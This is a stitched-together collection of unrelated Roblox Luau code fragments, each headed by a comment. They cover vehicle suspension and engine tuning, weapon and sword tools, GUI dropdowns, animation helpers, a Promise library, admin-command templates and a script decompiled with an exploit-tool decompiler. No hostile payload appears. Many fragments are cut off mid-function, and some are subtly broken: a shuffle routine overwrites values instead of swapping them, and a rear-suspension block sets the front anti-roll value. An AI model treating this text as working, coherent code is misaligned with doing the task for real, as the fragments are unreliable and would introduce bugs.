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--- Iterate through (physical) directory
for _, dirFolder in ipairs(script:GetChildren()) do --- Debug if debugInit then print('-----------------------------------------------') end --- Setup directory local dirName = dirFolder.Name Directory[dirName] = {} local dirData = Directory[dirName] --- Folder? Scan it! for _, module in ipairs(dirFolder:GetDescendants()) do if module.ClassName == "ModuleScript" then --- Add module to directory local moduleData = require(module) for key, value in pairs(moduleData) do dirData[key] = value if debugInit then print(key, value) end end end end --- Debug if debugInit then print('-----------------------------------------------\nLOADED '.. dirName) end end function Directory.NumberIDs(dirFolderName) return #script[dirFolderName]:GetChildren() end
--[[ Services ]]
-- local PlayersService = game:GetService("Players") local ContextActionService = game:GetService("ContextActionService") local Settings = UserSettings() -- ignore warning local GameSettings = Settings.GameSettings
--------| Reference |--------
local playerGui = game.Players.LocalPlayer:WaitForChild("PlayerGui") local whitelistedClasses = {"ScreenGui", "Frame", "ScrollingFrame", "ViewportFrame", "ImageLabel", "TextButton", "ImageButton", "TextBox", "TextLabel", "UIListLayout", "UIGridLayout", "UIAspectRatioConstraint"}
--Right.InputChanged:Connect(RightTurn)
local function TouchThrottle(input, GPE) if input.UserInputState == Enum.UserInputState.Begin and _IsOn then _InThrot = 1 _TTick = tick() else _InThrot = _Tune.IdleThrottle/100 _BTick = tick() end end Gas.InputBegan:Connect(TouchThrottle) Gas.InputEnded:Connect(TouchThrottle)
--[[Driving Aids]]
-- Tune.ABS = false -- Avoids brakes locking up, reducing risk of lowside Tune.ABSThreshold = 30 -- Slip speed allowed before ABS starts working (in SPS) Tune.TCS = false -- Avoids wheelspin, reducing risk of highsides Tune.TCSThreshold = 30 -- Slip speed allowed before TCS starts working (in SPS) Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS) Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent) Tune.SlipClutch = true -- Slips the clutch under heavy braking, reducing unsettling, disabled in Manual transmission mode Tune.SlipABSThres = 5 -- If ABS is active, how many times the ABS system needs to activate before slipping Tune.SlipTimeThres = 0.5 -- If ABS is inactive, how much time needs to pass after the brakes lock to activate slipping
------------------------------------------------------------------------------------
local WaitTime = 1 -- Change this to the amount of time it takes for the button to re-enable. local modelname = "Swing" -- If your model is not named this, then make the purple words the same name as the model!
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 20 -- Spring Dampening Tune.FSusStiffness = 2000 -- Spring Force Tune.FAntiRoll = 5 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 5 -- Suspension length (in studs) Tune.FPreCompress = 0 -- Pre-compression adds resting length force Tune.FExtensionLim = 30.0 -- Max Extension Travel (in studs) Tune.FCompressLim = 0 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 1 -- Spring Dampening Tune.RSusStiffness = 1 -- Spring Force Tune.FAntiRoll = 0 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 10 -- Suspension length (in studs) Tune.RPreCompress = 0 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = false -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--[[ * Determine the common suffix of two strings. * @param {string} text1 First string. * @param {string} text2 Second string. * @return {number} The number of characters common to the end of each string. --]]
local function _diff_commonSuffix(text1: string, text2: string): number -- Quick check for common null cases. if #text1 == 0 or #text2 == 0 or strbyte(text1, -1) ~= strbyte(text2, -1) then return 0 end -- Binary search. -- Performance analysis: https://neil.fraser.name/news/2007/10/09/ local pointermin = 1 local pointermax = min(#text1, #text2) local pointermid = pointermax local pointerend = 1 while pointermin < pointermid do if strsub(text1, -pointermid, -pointerend) == strsub(text2, -pointermid, -pointerend) then pointermin = pointermid pointerend = pointermin else pointermax = pointermid end pointermid = floor(pointermin + (pointermax - pointermin) / 2) end return pointermid end
-- Dropdowns
local dropdownContainer = Instance.new("Frame") dropdownContainer.Name = "DropdownContainer" dropdownContainer.BackgroundTransparency = 1 dropdownContainer.BorderSizePixel = 0 dropdownContainer.AnchorPoint = Vector2.new(0.5, 0) dropdownContainer.ZIndex = -2 dropdownContainer.ClipsDescendants = true dropdownContainer.Visible = true dropdownContainer.Parent = iconContainer dropdownContainer.Active = false local dropdownFrame = Instance.new("ScrollingFrame") dropdownFrame.Name = "DropdownFrame" dropdownFrame.BackgroundTransparency = 1 dropdownFrame.BorderSizePixel = 0 dropdownFrame.AnchorPoint = Vector2.new(0.5, 0) dropdownFrame.Position = UDim2.new(0.5, 0, 0, 0) dropdownFrame.Size = UDim2.new(0.5, 2, 1, 0) dropdownFrame.ZIndex = -1 dropdownFrame.ClipsDescendants = false dropdownFrame.Visible = true dropdownFrame.TopImage = dropdownFrame.MidImage dropdownFrame.BottomImage = dropdownFrame.MidImage dropdownFrame.VerticalScrollBarInset = Enum.ScrollBarInset.Always dropdownFrame.VerticalScrollBarPosition = Enum.VerticalScrollBarPosition.Right dropdownFrame.Parent = dropdownContainer dropdownFrame.Active = false local dropdownList = Instance.new("UIListLayout") dropdownList.Name = "DropdownList" dropdownList.FillDirection = Enum.FillDirection.Vertical dropdownList.SortOrder = Enum.SortOrder.LayoutOrder dropdownList.Parent = dropdownFrame local dropdownPadding = Instance.new("UIPadding") dropdownPadding.Name = "DropdownPadding" dropdownPadding.PaddingRight = UDim.new(0, 2) dropdownPadding.Parent = dropdownFrame
--//Variables\\--
local tool = script.Parent local handle = tool:WaitForChild("Handle") local contextActionService = game:GetService("ContextActionService") local player = game.Players.LocalPlayer local mouse = player:GetMouse() local character = player.Character or player.CharacterAdded:Wait() local enabled = true local specialDB = true local cursorId = "http://www.roblox.com/asset/?id=251497633" local hitId = "http://www.roblox.com/asset/?id=70785856" local configs = tool:WaitForChild("Configurations") local fireRate = configs:FindFirstChild("FireRate") local specialRechargeTime = configs:FindFirstChild("SpecialRechargeTime") local fire = tool:WaitForChild("Fire") local activateSpecial = tool:WaitForChild("ActivateSpecial") local hit = tool:WaitForChild("Hit")
--[[ LOWGames Studios Date: 27 October 2022 by Elder ]]
-- local u1 = nil; coroutine.wrap(function() u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library")); end)(); return function(p1) for v1 = #p1, 2, -1 do local v2 = math.random(v1); p1[v1] = p1[v2]; p1[v2] = p1[v1]; end; return p1; end;
--[[Susupension]]
Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .3 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.RAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--Bullet.Transparency=.65
Bullet.formFactor=0 Bullet.TopSurface=0 Bullet.BottomSurface=0 mesh=Instance.new("SpecialMesh") mesh.Parent=Bullet mesh.MeshType="Brick" mesh.Name="Mesh" mesh.Scale=Vector3.new(.15,.15,1) function check() sp.Name=ToolName.."-("..tostring(sp.Ammo.Value)..")" end function computeDirection(vec) local lenSquared = vec.magnitude * vec.magnitude local invSqrt = 1 / math.sqrt(lenSquared) return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt) end
-- Connects a function to an event such that it fires asynchronously
function Connect(event,func) return event:connect(function(...) local a = {...} spawn(function() func(unpack(a)) end) end) end
---This server script creates the sounds and also exists so that it can be easily copied into an NPC and create sounds for that NPC. --Remove the local script if you copy this into an NPC.
function waitForChild(parent, childName) local child = parent:findFirstChild(childName) if child then return child end while true do child = parent.ChildAdded:wait() if child.Name==childName then return child end end end function newSound(name, id) local sound = Instance.new("Sound") sound.SoundId = id sound.Name = name sound.archivable = false sound.Parent = script.Parent.Head return sound end
-- Local Variables
local MapSave = Instance.new('Folder') MapSave.Parent = ServerStorage MapSave.Name = 'MapSave'
--// Event Connections
L_14_.OnClientEvent:connect(function(L_22_arg1) if L_22_arg1.TeamColor == L_1_.TeamColor and L_22_arg1.Character and L_22_arg1.Character:FindFirstChild('Head') then if L_22_arg1.Character.Saude.FireTeam.SquadName.Value ~= '' then spawnTag(L_22_arg1.Character, L_22_arg1.Character.Saude.FireTeam.SquadColor.Value) else spawnTag(L_22_arg1.Character, Color3.fromRGB(255,255,255)) end end; if L_22_arg1.TeamColor ~= L_1_.TeamColor then if L_22_arg1.Character and L_22_arg1.Character:FindFirstChild('Head') and L_22_arg1.Character.Head:FindFirstChild('TeamTag') then L_22_arg1.Character.Head.TeamTag:Destroy() end end; end)
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {0,0} --- Vertical Recoil ,HRecoil = {0,0} --- Horizontal Recoil ,AimRecover = 0 ---- Between 0 & 1 ,RecoilPunch = 0 ,VPunchBase = 0 --- Vertical Punch ,HPunchBase = 0 --- Horizontal Punch ,DPunchBase = 0 --- Tilt Punch | useless ,AimRecoilReduction = 0 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0 ,MinRecoilPower = 0 ,MaxRecoilPower = 0 ,RecoilPowerStepAmount = 0 ,MinSpread = 0 --- Min bullet spread value | Studs ,MaxSpread = 0 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 0 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 2 --- Max sway value based on player stamina | Studs
-- Main loop
spawn(function() while wait(cooldown) do if check_movement() then footstepsSound.SoundId = get_material() footstepsSound.Parent = nil footstepsSound.Parent = rootPart end end end)
-- int rd_int_basic(string src, int s, int e, int d) -- @src - Source binary string -- @s - Start index of a little endian integer -- @e - End index of the integer -- @d - Direction of the loop
local function rd_int_basic(src, s, e, d) local num = 0 -- if bb[l] > 127 then -- signed negative -- num = num - 256 ^ l -- bb[l] = bb[l] - 128 -- end for i = s, e, d do num = num + string.byte(src, i, i) * 256 ^ (i - s) end return num end
-------------------------
function onClicked() R.BrickColor = BrickColor.new("Really red") C.One.BrickColor = BrickColor.new("Really black") C.Two.BrickColor = BrickColor.new("Really black") C.Three.BrickColor = BrickColor.new("Really black") C.MIC.BrickColor = BrickColor.new("Really black") C.A.BrickColor = BrickColor.new("Really black") C.B.BrickColor = BrickColor.new("Really black") C.M.BrickColor = BrickColor.new("Really black") end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--local root = shark:WaitForChild("HumanoidRootPart")
local root = shark.PrimaryPart local bodyPos = root:WaitForChild("BodyPosition") local bodyGyro = root:WaitForChild("BodyGyro") local stance,target = "wander",nil local scanInterval = 2 local destination = (root.CFrame*CFrame.new(0,0,5)).p local orientation = root.CFrame local holdDuration = 5 local holdOrder = 0 local lastAdjustment,nextAdjustment = 0,25 function MakeAMove() if (tick()-holdOrder < holdDuration) then return end if stance == "wander" then local collisionRay = Ray.new( (root.CFrame*CFrame.new(0,100,-15)).p , Vector3.new(0,-1000,0) ) local part,pos,norm,mat = workspace:FindPartOnRayWithIgnoreList(collisionRay,shark:GetDescendants())
----------------- --| Constants |-- -----------------
local BLAST_RADIUS = 25 -- Blast radius of the explosion local BLAST_DAMAGE = 900 -- Amount of damage done to players local BLAST_FORCE = 10000 -- Amount of force applied to parts local IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these
-- ~60 c/s
game["Run Service"].Heartbeat:connect(function(dt) _IsOn = script.Parent.IsOn.Value _InControls = script.Parent.ControlsOpen.Value --Steering Steering(dt) --Gear Gear() --Power Engine(dt) --Update External Values script.Parent.Values.Gear.Value = _CGear script.Parent.Values.RPM.Value = _RPM script.Parent.Values.Boost.Value = ((_TBoost/2)*_TPsi)+((_SBoost/2)*_SPsi) script.Parent.Values.BoostTurbo.Value = (_TBoost/2)*_TPsi script.Parent.Values.BoostSuper.Value = (_SBoost/2)*_SPsi script.Parent.Values.HpNatural.Value = _NH script.Parent.Values.HpElectric.Value = _EH script.Parent.Values.HpTurbo.Value = _TH script.Parent.Values.HpSuper.Value = _SH script.Parent.Values.HpBoosted.Value = _BH script.Parent.Values.Horsepower.Value = _HP script.Parent.Values.TqNatural.Value = _NT/_Tune.Ratios[_CGear+1]/fFD/hpScaling script.Parent.Values.TqElectric.Value = _ET/_Tune.Ratios[_CGear+1]/fFD/hpScaling script.Parent.Values.TqTurbo.Value = _TT/_Tune.Ratios[_CGear+1]/fFD/hpScaling script.Parent.Values.TqSuper.Value = _ST/_Tune.Ratios[_CGear+1]/fFD/hpScaling script.Parent.Values.TqBoosted.Value = script.Parent.Values.TqTurbo.Value+script.Parent.Values.TqSuper.Value script.Parent.Values.Torque.Value = script.Parent.Values.TqNatural.Value+script.Parent.Values.TqElectric.Value+script.Parent.Values.TqBoosted.Value script.Parent.Values.TransmissionMode.Value = _TMode script.Parent.Values.Throttle.Value = _GThrot script.Parent.Values.Brake.Value = _GBrake if script.Parent.Values.AutoClutch.Value then script.Parent.Values.Clutch.Value = _Clutch end script.Parent.Values.SteerC.Value = _GSteerC script.Parent.Values.SteerT.Value = _GSteerT script.Parent.Values.PBrake.Value = _PBrake script.Parent.Values.TCS.Value = _TCS script.Parent.Values.TCSActive.Value = _TCSActive script.Parent.Values.TCSAmt.Value = 1-_TCSAmt script.Parent.Values.ABS.Value = _ABS script.Parent.Values.ABSActive.Value = _fABSActive or _rABSActive script.Parent.Values.MouseSteerOn.Value = _MSteer script.Parent.Values.Velocity.Value = bike.DriveSeat.Velocity end) while wait(.0667) do if _TMode == "Auto" then Auto() end end
-- mouse.Button1Down:connect(function() onButton1Down(mouse) end)
mouse.Button1Up:connect(function() nofiar(mouse) end) mouse.KeyDown:connect(KeyDownFunctions) c = Tool.Parent:findFirstChild("Crouch") while true do wait() end end function onUnequippedLocal(mouse) nofiar(mouse) end Tool.Unequipped:connect(onUnequippedLocal) Tool.Equipped:connect(onEquippedLocal) script.Parent.Activated:connect(onActivated) Tool.Equipped:connect(Equip) Tool.Unequipped:connect(Unequip) Tool.Unequipped:connect(Uncrouch)
--[=[ Add to spring position to adjust for velocity of target. May have to set clock to time(). @param velocity T @param dampen number @param speed number @return T ]=]
function SpringUtils.getVelocityAdjustment(velocity, dampen, speed) assert(velocity, "Bad velocity") assert(dampen, "Bad dampen") assert(speed, "Bad speed") return velocity*(2*dampen/speed) end
--!nonstrict --[[ Gamepad Character Control - This module handles controlling your avatar using a game console-style controller 2018 PlayerScripts Update - AllYourBlox --]]
local UserInputService = game:GetService("UserInputService") local ContextActionService = game:GetService("ContextActionService")
--[[ @class BlendTextbox.story ]]
local require = require(game:GetService("ServerScriptService"):FindFirstChild("LoaderUtils", true).Parent).load(script) local Blend = require("Blend") local Maid = require("Maid") return function(target) local maid = Maid.new() local state = Blend.State("hi") maid:GiveTask((Blend.New "Frame" { Size = UDim2.new(1, 0, 1, 0); BackgroundTransparency = 1; Parent = target; [Blend.Children] = { Blend.New "TextBox" { Size = UDim2.new(0, 200, 0, 50); Text = state; [Blend.OnChange "Text"] = state; [Blend.OnEvent "Focused"] = function() print("Focused") end; [function(inst) return inst.Focused end] = function() print("Focused (via func)") end; -- this also works [function(inst) return inst:GetPropertyChangedSignal("Text") end] = function() print("Property changed from :GetPropertyChangedSignal()") end; }; Blend.New "TextBox" { Size = UDim2.new(0, 200, 0, 50); [Blend.OnChange "Text"] = state; -- read state Text = state; -- write state }; Blend.New "UIListLayout" { Padding = UDim.new(0, 10); }; }; }):Subscribe()) return function() maid:DoCleaning() end end
-- Folders --
local Remotes = RS.Remotes local Modules = RS.Modules
--// Tables
local L_95_ = { "285421759"; "151130102"; "151130171"; "285421804"; "287769483"; "287769415"; "285421687"; "287769261"; "287772525"; "287772445"; "287772351"; "285421819"; "287772163"; } local L_96_ = { ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; } local L_97_ = { ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; ""; } local L_98_ = workspace:FindFirstChild("BulletModel: " .. L_2_.Name) or Instance.new("Folder", workspace) L_98_.Name = "BulletModel: " .. L_2_.Name local L_99_ local L_100_ = L_24_.Ammo local L_101_ = L_24_.StoredAmmo * L_24_.MagCount local L_102_ = L_24_.ExplosiveAmmo IgnoreList = { L_3_, L_98_, L_5_ }
-- << COMMANDS >>
local module = { ----------------------------------- { Name = ""; Aliases = {}; Prefixes = {settings.Prefix}; Rank = 1; RankLock = false; Loopable = false; Tags = {}; Description = ""; Contributors = {}; -- Args = {}; Function = function(speaker, args) end; UnFunction = function(speaker, args) end; -- }; ----------------------------------- { Name = ""; Aliases = {}; Prefixes = {settings.Prefix}; Rank = 1; RankLock = false; Loopable = false; Tags = {}; Description = ""; Contributors = {}; -- Args = {}; --[[ ClientCommand = true; FireAllClients = true; BlockWhenPunished = true; PreFunction = function(speaker, args) end; Function = function(speaker, args) wait(1) end; --]] -- }; ----------------------------------- }; return module
--//Controller//--
JarBody.Touched:Connect(function(Hit) local Humanoid = Hit.Parent:FindFirstChild("Humanoid") if Humanoid then if not Configuration.OnCD then Configuration.OnCD = true if JarBody.Transparency >= 1 then Jar:Destroy() else JarBody.Transparency = JarBody.Transparency + 0.1 end task.wait(Configuration.CDTime) Configuration.OnCD = false end end end)
-- Modules
local ModuleScripts = ReplicatedStorage:WaitForChild("ModuleScripts") local GameSettings = require(ModuleScripts:WaitForChild("GameSettings")) local Data = ServerScriptService.Data local DataStore = require(Data.Modules.DataStore) local PlayerManagement = ServerScriptService.PlayerManagement local PlayerManagementModules = PlayerManagement.ModuleScripts local ParticleController = require(PlayerManagementModules.ParticleController)
-- functions
function stopAllAnimations() local oldAnim = currentAnim currentAnim = "" if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end return oldAnim end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end function keyFrameReachedFunc(frameName) if (frameName == "End") then
--[=[ Yields the current thread until the given Promise completes. Returns the Promise's status, followed by the values that the promise resolved or rejected with. @yields @return Status -- The Status representing the fate of the Promise @return ...any -- The values the Promise resolved or rejected with. ]=]
function Promise.prototype:awaitStatus() self._unhandledRejection = false if self._status == Promise.Status.Started then local thread = coroutine.running() self :finally(function() task.spawn(thread) end) -- The finally promise can propagate rejections, so we attach a catch handler to prevent the unhandled -- rejection warning from appearing :catch( function() end ) coroutine.yield() end if self._status == Promise.Status.Resolved then return self._status, unpack(self._values, 1, self._valuesLength) elseif self._status == Promise.Status.Rejected then return self._status, unpack(self._values, 1, self._valuesLength) end return self._status end local function awaitHelper(status, ...) return status == Promise.Status.Resolved, ... end
-- Decompiled with the Synapse X Luau decompiler.
--NOTE: Currently in beta! Not representative of final product. local u1 = require(game.ReplicatedStorage:WaitForChild("Resources")); while (not u1.Loaded) do game:GetService("RunService").Heartbeat:Wait(); end local u2 = Random.new(); local u3 = { "Energy", "Gems", "Native" }; local t_Parent_1 = script.Parent; local f_CreatePower; f_CreatePower = function() -- [line 9] CreatePower --[[ Upvalues: [1] = u1 [2] = u3 [3] = t_Parent_1 [4] = u2 --]] local v1 = u1.Directory.Powers[u1.Functions.table.random(u3)]; local v2 = u1.Functions.table.random(v1.tiers); local v3 = script.PowerFrame:Clone(); local v4 = 0 + ((v3.AbsoluteSize.X * 0.5) / t_Parent_1.AbsoluteSize.X); local v5 = 1 - ((v3.AbsoluteSize.X * 0.5) / t_Parent_1.AbsoluteSize.X); local v6 = 0 + ((v3.AbsoluteSize.Y * 0.5) / t_Parent_1.AbsoluteSize.Y); local v7 = 1 - ((v3.AbsoluteSize.Y * 0.5) / t_Parent_1.AbsoluteSize.Y); v3.power.Image = v1.icon; v3.power.level.Text = v2.title; v3.Position = UDim2.new(u2:NextNumber(v4, v5), 0, u2:NextNumber(v6, v7), 0); v3.Parent = t_Parent_1; local v8 = coroutine.wrap; local u4 = v3; v8(function() -- [line 24] anonymous function --[[ Upvalues: [1] = u4 [2] = u1 --]] local v9 = u4.Size; u4.Size = UDim2.new(); local v10 = u1.Functions.Tween; local v11 = u4; local v12 = { 1, 7, 1, 0, true }; local v13 = {}; v13.Size = v9; v13.Rotation = 0; v10(v11, v12, v13).Completed:Wait(); local v14 = u1.Functions.Tween; local v15 = u4; local v16 = { 1, 5, 1, 0, true }; local v17 = {}; v17.Size = UDim2.new(); v14(v15, v16, v17).Completed:Wait(); u4:Destroy(); end)(); end; CreatePower = f_CreatePower; while true do CreatePower(); u1.Functions.Wait(0.5); end
--[[Engine]]
--Torque Curve Tune.Horsepower = 260 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-- Detectors
local handler = DriveSeat.AirbagFilter local side = nil local sent = false local speedVar = nil function handle(x, y) if x == nil then print('Errored!') end if sent == false then if speedVar > 20 and DriveSeat.Parent.Electrics.Value == true then if y.CanCollide == true then handler:FireServer(x) script.Parent.epicFrame.Visible = true DriveSeat.FE_Lights:FireServer('blinkers', 'Hazards') wait(2) sent = false end end end end
--Rescripted by Luckymaxer --EUROCOW WAS HERE BECAUSE I MADE THE PARTICLES AND THEREFORE THIS ENTIRE SWORD PRETTY AND LOOK PRETTY WORDS AND I'D LIKE TO DEDICATE THIS TO MY FRIENDS AND HI LUCKYMAXER PLS FIX SFOTH SWORDS TY LOVE Y'ALl
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") DamageValues = { BaseDamage = 5, SlashDamage = 12, LungeDamage = 16 } Damage = DamageValues.BaseDamage Grips = { Up = CFrame.new(0, 0, -1.70000005, 0, 0, 1, 1, 0, 0, 0, 1, 0), Out = CFrame.new(0, 0, -1.70000005, 0, 1, 0, 1, -0, 0, 0, 0, -1) } Sounds = { Slash = Handle:WaitForChild("SwordSlash"), Lunge = Handle:WaitForChild("SwordLunge"), Unsheath = Handle:WaitForChild("Unsheath") } ToolEquipped = false Tool.Grip = Grips.Up Tool.Enabled = true function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Blow(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then return end local RightArm = Character:FindFirstChild("Right Arm") if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChild("Humanoid") if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) humanoid:TakeDamage(Damage) end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Slash" Anim.Parent = Tool end function Lunge() Damage = DamageValues.LungeDamage Sounds.Lunge:Play() local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Lunge" Anim.Parent = Tool if CheckIfAlive() then local Force = Instance.new("BodyVelocity") Force.velocity = Vector3.new(0, 10, 0) Force.maxForce = Vector3.new(0, 4000, 0) Debris:AddItem(Force, 0.4) Force.Parent = Torso end wait(0.2) Tool.Grip = Grips.Out wait(0.6) Tool.Grip = Grips.Up Damage = DamageValues.SlashDamage end Tool.Enabled = true LastAttack = 0 function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false Tick = RunService.Stepped:wait() if (Tick - LastAttack < 0.2) then Lunge() else Attack() end LastAttack = Tick --wait(0.5) Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") if not CheckIfAlive() then return end ToolEquipped = true Sounds.Unsheath:Play() end function Unequipped() Tool.Grip = Grips.Up ToolEquipped = false end Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped) Connection = Handle.Touched:connect(Blow)
--// Ammo Settings
Ammo = 30; StoredAmmo = 30; MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge; ExplosiveAmmo = 0;
--// All global vars will be wiped/replaced except script
return function(data, env) if env then setfenv(1, env) end local playergui = service.PlayerGui local localplayer = service.Players.LocalPlayer local frame = script.Parent.Parent local nFrame = frame:WaitForChild("Frame"); local iconF = nFrame:WaitForChild("Icon"); local main = nFrame:WaitForChild("Main"); local close = nFrame:WaitForChild("Close"); local title = nFrame:WaitForChild("Title"); local timer = nFrame:WaitForChild("Timer"); local gTable = data.gTable local clickfunc = data.OnClick local closefunc = data.OnClose local ignorefunc = data.OnIgnore local name = data.Title local text = data.Message or data.Text or "" local time = data.Time local icon = data.Icon or client.MatIcons.Info local returner = nil if clickfunc and type(clickfunc)=="string" then clickfunc = client.Core.LoadCode(clickfunc, GetEnv()) end if closefunc and type(closefunc)=="string" then closefunc = client.Core.LoadCode(closefunc, GetEnv()) end if ignorefunc and type(ignorefunc)=="string" then ignorefunc = client.Core.LoadCode(ignorefunc, GetEnv()) end local holder = client.UI.Get("NotificationHolder",nil,true) if not holder then client.UI.Make("NotificationHolder") holder = client.UI.Get("NotificationHolder",nil,true) holder.Object.ScrollingFrame.Active = false end holder = holder.Object.ScrollingFrame title.Text = name main.Text = text iconF.Image = icon local log = { Type = "Notification"; Title = 